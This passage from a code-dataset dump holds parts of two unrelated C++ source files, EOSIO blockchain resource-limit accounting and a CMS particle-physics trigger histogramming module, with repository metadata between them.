= find_or_create_pending_limits();\n\n   bool decreased_limit = false;\n\n   if( ram_bytes >= 0 ) {\n\n      decreased_limit = ( (limits.ram_bytes < 0) || (ram_bytes < limits.ram_bytes) );\n\n      /*\n      if( limits.ram_bytes < 0 ) {\n         EOS_ASSERT(ram_bytes >= usage.ram_usage, wasm_execution_error, \"converting unlimited account would result in overcommitment [commit=${c}, desired limit=${l}]\", (\"c\", usage.ram_usage)(\"l\", ram_bytes));\n      } else {\n         EOS_ASSERT(ram_bytes >= usage.ram_usage, wasm_execution_error, \"attempting to release committed ram resources [commit=${c}, desired limit=${l}]\", (\"c\", usage.ram_usage)(\"l\", ram_bytes));\n      }\n      */\n   }\n\n   _db.modify( limits, [&]( resource_limits_object& pending_limits ){\n      pending_limits.ram_bytes = ram_bytes;\n      pending_limits.net_weight = net_weight;\n      pending_limits.cpu_weight = cpu_weight;\n   });\n\n   return decreased_limit;\n}\n\nvoid resource_limits_manager::get_account_limits( const account_name& account, int64_t& ram_bytes, int64_t& net_weight, int64_t& cpu_weight ) const {\n   const auto* pending_buo = _db.find<resource_limits_object,by_owner>( boost::make_tuple(true, account) );\n   if (pending_buo) {\n      ram_bytes  = pending_buo->ram_bytes;\n      net_weight = pending_buo->net_weight;\n      cpu_weight = pending_buo->cpu_weight;\n   } else {\n      const auto& buo = _db.get<resource_limits_object,by_owner>( boost::make_tuple( false, account ) );\n      ram_bytes  = buo.ram_bytes;\n      net_weight = buo.net_weight;\n      cpu_weight = buo.cpu_weight;\n   }\n}\n\n\nvoid resource_limits_manager::process_account_limit_updates() {\n   auto& multi_index = _db.get_mutable_index<resource_limits_index>();\n   auto& by_owner_index = multi_index.indices().get<by_owner>();\n\n   // convenience local lambda to reduce clutter\n   auto update_state_and_value = [](uint64_t &total, int64_t &value, int64_t pending_value, const char* debug_which) -> void {\n      if (value > 0) {\n         EOS_ASSERT(total >= value, rate_limiting_state_inconsistent, \"underflow when reverting old value to ${which}\", (\"which\", debug_which));\n         total -= value;\n      }\n\n      if (pending_value > 0) {\n         EOS_ASSERT(UINT64_MAX - total >= pending_value, rate_limiting_state_inconsistent, \"overflow when applying new value to ${which}\", (\"which\", debug_which));\n         total += pending_value;\n      }\n\n      value = pending_value;\n   };\n\n   const auto& state = _db.get<resource_limits_state_object>();\n   _db.modify(state, [&](resource_limits_state_object& rso){\n      while(!by_owner_index.empty()) {\n         const auto& itr = by_owner_index.lower_bound(boost::make_tuple(true));\n         if (itr == by_owner_index.end() || itr->pending!= true) {\n            break;\n         }\n\n         const auto& actual_entry = _db.get<resource_limits_object, by_owner>(boost::make_tuple(false, itr->owner));\n         _db.modify(actual_entry, [&](resource_limits_object& rlo){\n            update_state_and_value(rso.total_ram_bytes,  rlo.ram_bytes,  itr->ram_bytes, \"ram_bytes\");\n            update_state_and_value(rso.total_cpu_weight, rlo.cpu_weight, itr->cpu_weight, \"cpu_weight\");\n            update_state_and_value(rso.total_net_weight, rlo.net_weight, itr->net_weight, \"net_weight\");\n         });\n\n         multi_index.remove(*itr);\n      }\n   });\n}\n\nvoid resource_limits_manager::process_block_usage(uint32_t block_num) {\n   const auto& s = _db.get<resource_limits_state_object>();\n   const auto& config = _db.get<resource_limits_config_object>();\n   _db.modify(s, [&](resource_limits_state_object& state){\n      // apply pending usage, update virtual limits and reset the pending\n\n      state.average_block_cpu_usage.add(state.pending_cpu_usage, block_num, config.cpu_limit_parameters.periods);\n      state.update_virtual_cpu_limit(config);\n      state.pending_cpu_usage = 0;\n\n      state.average_block_net_usage.add(state.pending_net_usage, block_num, config.net_limit_parameters.periods);\n      state.update_virtual_net_limit(config);\n      state.pending_net_usage = 0;\n\n   });\n\n}\n\nuint64_t resource_limits_manager::get_virtual_block_cpu_limit() const {\n   const auto& state = _db.get<resource_limits_state_object>();\n   return state.virtual_cpu_limit;\n}\n\nuint64_t resource_limits_manager::get_virtual_block_net_limit() const {\n   const auto& state = _db.get<resource_limits_state_object>();\n   return state.virtual_net_limit;\n}\n\nuint64_t resource_limits_manager::get_block_cpu_limit() const {\n   const auto& state = _db.get<resource_limits_state_object>();\n   const auto& config = _db.get<resource_limits_config_object>();\n   return config.cpu_limit_parameters.max - state.pending_cpu_usage;\n}\n\nuint64_t resource_limits_manager::get_block_net_limit() const {\n   const auto& state = _db.get<resource_limits_state_object>();\n   const auto& config = _db.get<resource_limits_config_object>();\n   return config.net_limit_parameters.max - state.pending_net_usage;\n}\n\nint64_t resource_limits_manager::get_account_cpu_limit( const account_name& name, bool elastic ) const {\n   auto arl = get_account_cpu_limit_ex(name, elastic);\n   return arl.available;\n}\n\naccount_resource_limit resource_limits_manager::get_account_cpu_limit_ex( const account_name& name, bool elastic) const {\n\n   const auto& state = _db.get<resource_limits_state_object>();\n   const auto& usage = _db.get<resource_usage_object, by_owner>(name);\n   const auto& config = _db.get<resource_limits_config_object>();\n\n   int64_t cpu_weight, x, y;\n   get_account_limits( name, x, y, cpu_weight );\n\n   if( cpu_weight < 0 || state.total_cpu_weight == 0 ) {\n      return { -1, -1, -1 };\n   }\n\n   account_resource_limit arl;\n\n   uint128_t window_size = config.account_cpu_usage_average_window;\n\n   uint128_t virtual_cpu_capacity_in_window = (uint128_t)(elastic ? state.virtual_cpu_limit : config.cpu_limit_parameters.max) * window_size;\n   uint128_t user_weight     = (uint128_t)cpu_weight;\n   uint128_t all_user_weight = (uint128_t)state.total_cpu_weight;\n\n   auto max_user_use_in_window = (virtual_cpu_capacity_in_window * user_weight) / all_user_weight;\n   auto cpu_used_in_window  = impl::integer_divide_ceil((uint128_t)usage.cpu_usage.value_ex * window_size, (uint128_t)config::rate_limiting_precision);\n\n   if( max_user_use_in_window <= cpu_used_in_window )\n      arl.available = 0;\n   else\n      arl.available = impl::downgrade_cast<int64_t>(int64_t(max_user_use_in_window - cpu_used_in_window));\n\n   arl.used = impl::downgrade_cast<int64_t>(int64_t(cpu_used_in_window));\n   arl.max = impl::downgrade_cast<int64_t>(int64_t(max_user_use_in_window));\n   return arl;\n}\n\nint64_t resource_limits_manager::get_account_net_limit( const account_name& name, bool elastic) const {\n   auto arl = get_account_net_limit_ex(name, elastic);\n   return arl.available;\n}\n\naccount_resource_limit resource_limits_manager::get_account_net_limit_ex( const account_name& name, bool elastic) const {\n   const auto& config = _db.get<resource_limits_config_object>();\n   const auto& state  = _db.get<resource_limits_state_object>();\n   const auto& usage  = _db.get<resource_usage_object, by_owner>(name);\n\n   int64_t net_weight, x, y;\n   get_account_limits( name, x, net_weight, y );\n\n   if( net_weight < 0 || state.total_net_weight == 0) {\n      return { -1, -1, -1 };\n   }\n\n   account_resource_limit arl;\n\n   uint128_t window_size = config.account_net_usage_average_window;\n\n   uint128_t virtual_network_capacity_in_window = (uint128_t)(elastic ? state.virtual_net_limit : config.net_limit_parameters.max) * window_size;\n   uint128_t user_weight     = (uint128_t)net_weight;\n   uint128_t all_user_weight = (uint128_t)state.total_net_weight;\n\n\n   auto max_user_use_in_window = (virtual_network_capacity_in_window * user_weight) / all_user_weight;\n   auto net_used_in_window  = impl::integer_divide_ceil((uint128_t)usage.net_usage.value_ex * window_size, (uint128_t)config::rate_limiting_precision);\n\n   if( max_user_use_in_window <= net_used_in_window )\n      arl.available = 0;\n   else\n      arl.available = impl::downgrade_cast<int64_t>(int64_t(max_user_use_in_window - net_used_in_window));\n\n   arl.used = impl::downgrade_cast<int64_t>(int64_t(net_used_in_window));\n   arl.max = impl::downgrade_cast<int64_t>(int64_t(max_user_use_in_window));\n   return arl;\n}\n\n} } } /// eosio::chain::resource_limits\n", "meta": {"hexsha": "f66042f423624a5d3872e1ed1a3828924b645819", "size": 19487, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "libraries/chain/resource_limits.cpp", "max_stars_repo_name": "jxlczjp77/eos", "max_stars_repo_head_hexsha": "75437df5e4b584fc52d8160efe29aff30b656ff6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libraries/chain/resource_limits.cpp", "max_issues_repo_name": "jxlczjp77/eos", "max_issues_repo_head_hexsha": "75437df5e4b584fc52d8160efe29aff30b656ff6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libraries/chain/resource_limits.cpp", "max_forks_repo_name": "jxlczjp77/eos", "max_forks_repo_head_hexsha": "75437df5e4b584fc52d8160efe29aff30b656ff6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.791011236, "max_line_length": 209, "alphanum_fraction": 0.7205316365, "num_tokens": 4499, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5774953651858117, "lm_q2_score": 0.242205639665319, "lm_q1q2_score": 0.13987263432858651}}
{"text": "////////////////////////////////////////////////////////////////////////////\n//                    Header file for this                                    //\n////////////////////////////////////////////////////////////////////////////////\n#include \"HLTriggerOffline/Egamma/interface/EmDQMReco.h\"\n\n////////////////////////////////////////////////////////////////////////////////\n//                    Collaborating Class Header                              //\n////////////////////////////////////////////////////////////////////////////////\n#include \"FWCore/Framework/interface/Frameworkfwd.h\"\n#include \"FWCore/ParameterSet/interface/ParameterSet.h\"\n#include \"FWCore/Framework/interface/MakerMacros.h\"\n#include \"DataFormats/HLTReco/interface/TriggerEventWithRefs.h\"\n#include \"DataFormats/RecoCandidate/interface/RecoEcalCandidate.h\"\n#include \"DataFormats/EgammaCandidates/interface/Electron.h\"\n//#include \"DataFormats/EgammaCandidates/interface/PhotonFwd.h\"\n//#include \"DataFormats/EgammaCandidates/interface/Photon.h\"\n#include \"DataFormats/L1Trigger/interface/L1EmParticle.h\"\n#include \"DataFormats/L1Trigger/interface/L1EmParticleFwd.h\"\n//#include \"SimDataFormats/HepMCProduct/interface/HepMCProduct.h\"\n#include \"SimDataFormats/GeneratorProducts/interface/HepMCProduct.h\"\n#include \"FWCore/MessageLogger/interface/MessageLogger.h\"\n#include \"DataFormats/Common/interface/AssociationMap.h\"\n\n#include \"DataFormats/Common/interface/Handle.h\"\n#include \"DataFormats/Common/interface/RefToBase.h\"\n#include \"FWCore/ServiceRegistry/interface/Service.h\"\n//#include \"PhysicsTools/UtilAlgos/interface/TFileService.h\"\n#include \"FWCore/Utilities/interface/Exception.h\"\n#include \"DataFormats/HLTReco/interface/TriggerTypeDefs.h\"\n#include \"DataFormats/Common/interface/TriggerResults.h\"\n#include \"DataFormats/HLTReco/interface/TriggerObject.h\"\n#include \"DataFormats/HLTReco/interface/TriggerEvent.h\"\n#include <boost/format.hpp>\n////////////////////////////////////////////////////////////////////////////////\n//                           Root include files                               //\n////////////////////////////////////////////////////////////////////////////////\n#include \"TFile.h\"\n#include \"TDirectory.h\"\n#include \"TH1F.h\"\n#include <iostream>\n#include <string>\n#include <Math/VectorUtil.h>\nusing namespace ROOT::Math::VectorUtil ;\n\n//----------------------------------------------------------------------\n// class EmDQMReco::FourVectorMonitorElements\n//----------------------------------------------------------------------\nEmDQMReco::FourVectorMonitorElements::FourVectorMonitorElements(EmDQMReco *_parent,\n    DQMStore::IBooker &iBooker,\n    const std::string &histogramNameTemplate,\n    const std::string &histogramTitleTemplate\n  ) :\n  parent(_parent)\n{\n  // introducing variables for better code readability later on\n  std::string histName;\n  std::string histTitle;\n\n  // et\n  histName = boost::str(boost::format(histogramNameTemplate) % \"et\");\n  histTitle = boost::str(boost::format(histogramTitleTemplate) % \"E_{T}\");\n  etMonitorElement =  iBooker.book1D(histName.c_str(),\n                                   histTitle.c_str(),\n                                   parent->plotBins,\n                                   parent->plotPtMin,\n                                   parent->plotPtMax);\n\n  // eta\n  histName = boost::str(boost::format(histogramNameTemplate) % \"eta\");\n  histTitle= boost::str(boost::format(histogramTitleTemplate) % \"#eta\");\n  etaMonitorElement = iBooker.book1D(histName.c_str(),\n                                  histTitle.c_str(),\n                                  parent->plotBins,\n                                  - parent->plotEtaMax,\n                                    parent->plotEtaMax);\n\n  // phi\n  histName = boost::str(boost::format(histogramNameTemplate) % \"phi\");\n  histTitle= boost::str(boost::format(histogramTitleTemplate) % \"#phi\");\n  phiMonitorElement = iBooker.book1D(histName.c_str(),\n                                  histTitle.c_str(),\n                                  parent->plotBins,\n                                  - parent->plotPhiMax,\n                                    parent->plotPhiMax);\n}\n\n//----------------------------------------------------------------------\n\nvoid\nEmDQMReco::FourVectorMonitorElements::fill(const math::XYZTLorentzVector &momentum)\n{\n  etMonitorElement->Fill(momentum.Et());\n  etaMonitorElement->Fill(momentum.eta() );\n  phiMonitorElement->Fill(momentum.phi() );\n}\n\n//----------------------------------------------------------------------\n\n////////////////////////////////////////////////////////////////////////////////\n//                             Constructor                                    //\n////////////////////////////////////////////////////////////////////////////////\nEmDQMReco::EmDQMReco(const edm::ParameterSet& pset)\n{\n  ////////////////////////////////////////////////////////////\n  //          Read from configuration file                  //\n  ////////////////////////////////////////////////////////////\n  dirname_=\"HLT/HLTEgammaValidation/\"+pset.getParameter<std::string>(\"@module_label\");\n\n  // parameters for generator study\n  reqNum    = pset.getParameter<unsigned int>(\"reqNum\");\n  pdgGen    = pset.getParameter<int>(\"pdgGen\");\n  recoEtaAcc = pset.getParameter<double>(\"genEtaAcc\");\n  recoEtAcc  = pset.getParameter<double>(\"genEtAcc\");\n  // plotting parameters (untracked because they don't affect the physics)\n  plotPtMin  = pset.getUntrackedParameter<double>(\"PtMin\",0.);\n  plotPtMax  = pset.getUntrackedParameter<double>(\"PtMax\",1000.);\n  plotEtaMax = pset.getUntrackedParameter<double>(\"EtaMax\", 2.7);\n  plotPhiMax = pset.getUntrackedParameter<double>(\"PhiMax\", 3.15);\n  plotBins   = pset.getUntrackedParameter<unsigned int>(\"Nbins\",50);\n  useHumanReadableHistTitles = pset.getUntrackedParameter<bool>(\"useHumanReadableHistTitles\", false);\n\n  triggerNameRecoMonPath = pset.getUntrackedParameter<std::string>(\"triggerNameRecoMonPath\",\"HLT_MinBias\");\n  processNameRecoMonPath = pset.getUntrackedParameter<std::string>(\"processNameRecoMonPath\",\"HLT\");\n\n  recoElectronsInput = consumes<reco::GsfElectronCollection>(pset.getUntrackedParameter<edm::InputTag>(\"recoElectrons\",edm::InputTag(\"gsfElectrons\")));\n  recoObjectsEBT = consumes<std::vector<reco::SuperCluster>>(edm::InputTag(\"correctedHybridSuperClusters\"));\n  recoObjectsEET = consumes<std::vector<reco::SuperCluster>>(edm::InputTag(\"correctedMulti5x5SuperClustersWithPreshower\"));\n  hltResultsT    = consumes<edm::TriggerResults>(edm::InputTag(\"TriggerResults\",\"\",processNameRecoMonPath));\n  triggerObjT    = consumes<trigger::TriggerEventWithRefs>(edm::InputTag(\"hltTriggerSummaryRAW\"));\n\n  // preselction cuts\n  // recocutCollection_= pset.getParameter<edm::InputTag>(\"cutcollection\");\n  recocut_          = pset.getParameter<int>(\"cutnum\");\n\n  // prescale = 10;\n  eventnum = 0;\n\n  // just init\n  isHltConfigInitialized_ = false;\n\n  ////////////////////////////////////////////////////////////\n  //         Read in the Vector of Parameter Sets.          //\n  //           Information for each filter-step             //\n  ////////////////////////////////////////////////////////////\n  std::vector<edm::ParameterSet> filters =\n       pset.getParameter<std::vector<edm::ParameterSet> >(\"filters\");\n\n  int i = 0;\n  for(std::vector<edm::ParameterSet>::iterator filterconf = filters.begin() ; filterconf != filters.end() ; filterconf++)\n  {\n\n    theHLTCollectionLabels.push_back(filterconf->getParameter<edm::InputTag>(\"HLTCollectionLabels\"));\n    theHLTOutputTypes.push_back(filterconf->getParameter<int>(\"theHLTOutputTypes\"));\n    // Grab the human-readable name, if it is not specified, use the Collection Label\n    theHLTCollectionHumanNames.push_back(filterconf->getUntrackedParameter<std::string>(\"HLTCollectionHumanName\",theHLTCollectionLabels[i].label()));\n\n    std::vector<double> bounds = filterconf->getParameter<std::vector<double> >(\"PlotBounds\");\n    // If the size of plot \"bounds\" vector != 2, abort\n    assert(bounds.size() == 2);\n    plotBounds.push_back(std::pair<double,double>(bounds[0],bounds[1]));\n    isoNames.push_back(filterconf->getParameter<std::vector<edm::InputTag> >(\"IsoCollections\"));\n    \n    for (unsigned int i=0; i<isoNames.back().size(); i++) {\n      switch(theHLTOutputTypes.back())  {\n      case trigger::TriggerL1NoIsoEG: \n\thistoFillerL1NonIso->isoNameTokens_.push_back(consumes<edm::AssociationMap<edm::OneToValue<l1extra::L1EmParticleCollection , float>>>(isoNames.back()[i]));\n\tbreak;\n      case trigger::TriggerL1IsoEG: // Isolated Level 1\n\thistoFillerL1Iso->isoNameTokens_.push_back(consumes<edm::AssociationMap<edm::OneToValue<l1extra::L1EmParticleCollection , float>>>(isoNames.back()[i]));\n\tbreak;\n      case trigger::TriggerPhoton: // Photon \n\thistoFillerPho->isoNameTokens_.push_back(consumes<edm::AssociationMap<edm::OneToValue<reco::RecoEcalCandidateCollection , float>>>(isoNames.back()[i]));\n\tbreak;\n      case trigger::TriggerElectron: // Electron \n\thistoFillerEle->isoNameTokens_.push_back(consumes<edm::AssociationMap<edm::OneToValue<reco::ElectronCollection , float>>>(isoNames.back()[i]));\n\tbreak;\n      case trigger::TriggerCluster: // TriggerCluster\n\thistoFillerClu->isoNameTokens_.push_back(consumes<edm::AssociationMap<edm::OneToValue<reco::RecoEcalCandidateCollection , float>>>(isoNames.back()[i]));\n\tbreak;\n      default: \n\tthrow(cms::Exception(\"Release Validation Error\") << \"HLT output type not implemented: theHLTOutputTypes[n]\" );\n      }\n    }\n    \n    // If the size of the isoNames vector is not greater than zero, abort\n    assert(isoNames.back().size()>0);\n    if (isoNames.back().at(0).label()==\"none\") {\n      plotiso.push_back(false);\n    } else {\n      plotiso.push_back(true);\n    }\n    i++;\n  } // END of loop over parameter sets\n\n  // Record number of HLTCollectionLabels\n  numOfHLTCollectionLabels = theHLTCollectionLabels.size();\n\n}\n\n///\n///\n///\nvoid EmDQMReco::dqmBeginRun(const edm::Run& iRun, const edm::EventSetup& iSetup ) {\n\n  bool isHltConfigChanged = false; // change of cfg at run boundaries?\n  isHltConfigInitialized_ = hltConfig_.init( iRun, iSetup, \"HLT\", isHltConfigChanged );\n\n}\n\n////////////////////////////////////////////////////////////////////////////////\n//       book DQM histograms                                                  //\n////////////////////////////////////////////////////////////////////////////////\nvoid\nEmDQMReco::bookHistograms(DQMStore::IBooker &iBooker, edm::Run const &iRun, edm::EventSetup const &iSetup)\n{\n  //edm::Service<TFileService> fs;\n  iBooker.setCurrentFolder(dirname_);\n\n  ////////////////////////////////////////////////////////////\n  //  Set up Histogram of Effiency vs Step.                 //\n  //   theHLTCollectionLabels is a vector of InputTags      //\n  //    from the configuration file.                        //\n  ////////////////////////////////////////////////////////////\n\n  std::string histName=\"total_eff\";\n  std::string histTitle = \"total events passing\";\n  // This plot will have bins equal to 2+(number of\n  //        HLTCollectionLabels in the config file)\n  totalreco = iBooker.book1D(histName.c_str(),histTitle.c_str(),numOfHLTCollectionLabels+2,0,numOfHLTCollectionLabels+2);\n  totalreco->setBinLabel(numOfHLTCollectionLabels+1,\"Total\");\n  totalreco->setBinLabel(numOfHLTCollectionLabels+2,\"Reco\");\n  for (unsigned int u=0; u<numOfHLTCollectionLabels; u++){totalreco->setBinLabel(u+1,theHLTCollectionLabels[u].label().c_str());}\n\n  histName=\"total_eff_RECO_matched\";\n  histTitle=\"total events passing (Reco matched)\";\n  totalmatchreco = iBooker.book1D(histName.c_str(),histTitle.c_str(),numOfHLTCollectionLabels+2,0,numOfHLTCollectionLabels+2);\n  totalmatchreco->setBinLabel(numOfHLTCollectionLabels+1,\"Total\");\n  totalmatchreco->setBinLabel(numOfHLTCollectionLabels+2,\"Reco\");\n  for (unsigned int u=0; u<numOfHLTCollectionLabels; u++){totalmatchreco->setBinLabel(u+1,theHLTCollectionLabels[u].label().c_str());}\n\n  // MonitorElement* tmphisto;\n  MonitorElement* tmpiso;\n\n  ////////////////////////////////////////////////////////////\n  // Set up generator-level histograms                      //\n  ////////////////////////////////////////////////////////////\n  std::string pdgIdString;\n  switch(pdgGen) {\n  case 11:\n    pdgIdString=\"Electron\";break;\n  case 22:\n    pdgIdString=\"Photon\";break;\n  default:\n    pdgIdString=\"Particle\";\n  }\n\n  //--------------------\n\n  // reco\n  // (note that reset(..) must be used to set the value of the scoped_ptr...)\n  histReco.reset(\n      new FourVectorMonitorElements(this, iBooker,\n          \"reco_%s\",             // pattern for histogram name\n          \"%s of \" + pdgIdString + \"s\"\n      ));\n\n  //--------------------\n\n  // monpath\n  histRecoMonpath.reset(\n       new FourVectorMonitorElements(this, iBooker,\n           \"reco_%s_monpath\",   // pattern for histogram name\n           \"%s of \" + pdgIdString + \"s monpath\"\n       )\n  );\n\n  //--------------------\n\n  // TODO: WHAT ARE THESE HISTOGRAMS FOR ? THEY SEEM NEVER REFERENCED ANYWHERE IN THIS FILE...\n  // final X monpath\n  histMonpath.reset(\n       new FourVectorMonitorElements(this, iBooker,\n           \"final_%s_monpath\",   // pattern for histogram name\n           \"Final %s Monpath\"\n       )\n  );\n\n  //--------------------\n\n  ////////////////////////////////////////////////////////////\n  //  Set up histograms of HLT objects                      //\n  ////////////////////////////////////////////////////////////\n\n  // Determine what strings to use for histogram titles\n  std::vector<std::string> HltHistTitle;\n  if ( theHLTCollectionHumanNames.size() == numOfHLTCollectionLabels && useHumanReadableHistTitles ) {\n    HltHistTitle = theHLTCollectionHumanNames;\n  } else {\n    for (unsigned int i =0; i < numOfHLTCollectionLabels; i++) {\n      HltHistTitle.push_back(theHLTCollectionLabels[i].label());\n    }\n  }\n\n  for(unsigned int i = 0; i< numOfHLTCollectionLabels ; i++){\n    //--------------------\n    // distributions of HLT objects passing filter i\n    //--------------------\n\n//    // Et\n//    histName = theHLTCollectionLabels[i].label()+\"et_all\";\n//    histTitle = HltHistTitle[i]+\" Et (ALL)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax);\n//    ethist.push_back(tmphisto);\n//\n//    // Eta\n//    histName = theHLTCollectionLabels[i].label()+\"eta_all\";\n//    histTitle = HltHistTitle[i]+\" #eta (ALL)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax);\n//    etahist.push_back(tmphisto);\n//\n//    // phi\n//    histName = theHLTCollectionLabels[i].label()+\"phi_all\";\n//    histTitle = HltHistTitle[i]+\" #phi (ALL)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax);\n//    phiHist.push_back(tmphisto);\n\n    standardHist.push_back(new FourVectorMonitorElements(this, iBooker,\n\t\t\t\t\t\t\t theHLTCollectionLabels[i].label()+\"%s_all\", // histogram name\n\t\t\t\t\t\t\t HltHistTitle[i]+\" %s (ALL)\"                 // histogram title\n\t\t\t\t\t\t\t ));\n\n    //--------------------\n    // distributions of reco object matching HLT object passing filter i\n    //--------------------\n\n    // Et\n//    histName = theHLTCollectionLabels[i].label()+\"et_RECO_matched\";\n//    histTitle = HltHistTitle[i]+\" Et (RECO matched)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax);\n//    ethistmatchreco.push_back(tmphisto);\n\n//    // Eta\n//    histName = theHLTCollectionLabels[i].label()+\"eta_RECO_matched\";\n//    histTitle = HltHistTitle[i]+\" #eta (RECO matched)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax);\n//    etahistmatchreco.push_back(tmphisto);\n//\n//    // phi\n//    histName = theHLTCollectionLabels[i].label()+\"phi_RECO_matched\";\n//    histTitle = HltHistTitle[i]+\" #phi (RECO matched)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax);\n//    phiHistMatchReco.push_back(tmphisto);\n    histMatchReco.push_back(new FourVectorMonitorElements(this, iBooker,\n        theHLTCollectionLabels[i].label()+\"%s_RECO_matched\", // histogram name\n        HltHistTitle[i]+\" %s (RECO matched)\"                 // histogram title\n        ));\n\n    //--------------------\n    // distributions of reco object matching HLT object passing filter i\n    //--------------------\n\n//    // Et\n//    histName = theHLTCollectionLabels[i].label()+\"et_RECO_matched_monpath\";\n//    histTitle = HltHistTitle[i]+\" Et (RECO matched, monpath)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax);\n//    ethistmatchrecomonpath.push_back(tmphisto);\n//\n//    // Eta\n//    histName = theHLTCollectionLabels[i].label()+\"eta_RECO_matched_monpath\";\n//    histTitle = HltHistTitle[i]+\" #eta (RECO matched, monpath)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax);\n//    etahistmatchrecomonpath.push_back(tmphisto);\n//\n//    // phi\n//    histName = theHLTCollectionLabels[i].label()+\"phi_RECO_matched_monpath\";\n//    histTitle = HltHistTitle[i]+\" #phi (RECO matched, monpath)\";\n//    tmphisto =  iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax);\n//    phiHistMatchRecoMonPath.push_back(tmphisto);\n\n    histMatchRecoMonPath.push_back(new FourVectorMonitorElements(this, iBooker,\n        theHLTCollectionLabels[i].label()+\"%s_RECO_matched_monpath\", // histogram name\n        HltHistTitle[i]+\" %s (RECO matched, monpath)\"                // histogram title\n        ));\n    //--------------------\n    // distributions of HLT object that is closest delta-R match to sorted reco particle(s)\n    //--------------------\n\n    // Et\n//    histName  = theHLTCollectionLabels[i].label()+\"et_reco\";\n//    histTitle = HltHistTitle[i]+\" Et (reco)\";\n//    tmphisto  = iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax);\n//    histEtOfHltObjMatchToReco.push_back(tmphisto);\n//\n//    // eta\n//    histName  = theHLTCollectionLabels[i].label()+\"eta_reco\";\n//    histTitle = HltHistTitle[i]+\" eta (reco)\";\n//    tmphisto  = iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax);\n//    histEtaOfHltObjMatchToReco.push_back(tmphisto);\n//\n//    // phi\n//    histName  = theHLTCollectionLabels[i].label()+\"phi_reco\";\n//    histTitle = HltHistTitle[i]+\" phi (reco)\";\n//    tmphisto  = iBooker.book1D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax);\n//    histPhiOfHltObjMatchToReco.push_back(tmphisto);\n\n    histHltObjMatchToReco.push_back(new FourVectorMonitorElements(this, iBooker,\n        theHLTCollectionLabels[i].label()+\"%s_reco\",   // histogram name\n        HltHistTitle[i]+\" %s (reco)\"                  // histogram title\n        ));\n\n    //--------------------\n\n    if (!plotiso[i]) {\n      tmpiso = NULL;\n      etahistiso.push_back(tmpiso);\n      ethistiso.push_back(tmpiso);\n      phiHistIso.push_back(tmpiso);\n\n      etahistisomatchreco.push_back(tmpiso);\n      ethistisomatchreco.push_back(tmpiso);\n      phiHistIsoMatchReco.push_back(tmpiso);\n\n      histEtaIsoOfHltObjMatchToReco.push_back(tmpiso);\n      histEtIsoOfHltObjMatchToReco.push_back(tmpiso);\n      histPhiIsoOfHltObjMatchToReco.push_back(tmpiso);\n\n    } else {\n\n      //--------------------\n      // 2D plot: Isolation values vs X for all objects\n      //--------------------\n\n      // X = eta\n      histName  = theHLTCollectionLabels[i].label()+\"eta_isolation_all\";\n      histTitle = HltHistTitle[i]+\" isolation vs #eta (all)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      etahistiso.push_back(tmpiso);\n\n      // X = et\n      histName  = theHLTCollectionLabels[i].label()+\"et_isolation_all\";\n      histTitle = HltHistTitle[i]+\" isolation vs Et (all)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      ethistiso.push_back(tmpiso);\n\n      // X = phi\n      histName  = theHLTCollectionLabels[i].label()+\"phi_isolation_all\";\n      histTitle = HltHistTitle[i]+\" isolation vs #phi (all)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      phiHistIso.push_back(tmpiso);\n\n      //--------------------\n      // 2D plot: Isolation values vs X for reco matched objects\n      //--------------------\n\n      // X = eta\n      histName  = theHLTCollectionLabels[i].label()+\"eta_isolation_RECO_matched\";\n      histTitle = HltHistTitle[i]+\" isolation vs #eta (reco matched)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      etahistisomatchreco.push_back(tmpiso);\n\n      // X = et\n      histName  = theHLTCollectionLabels[i].label()+\"et_isolation_RECO_matched\";\n      histTitle = HltHistTitle[i]+\" isolation vs Et (reco matched)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      ethistisomatchreco.push_back(tmpiso);\n\n      // X = eta\n      histName  = theHLTCollectionLabels[i].label()+\"phi_isolation_RECO_matched\";\n      histTitle = HltHistTitle[i]+\" isolation vs #phi (reco matched)\";\n      tmpiso    = 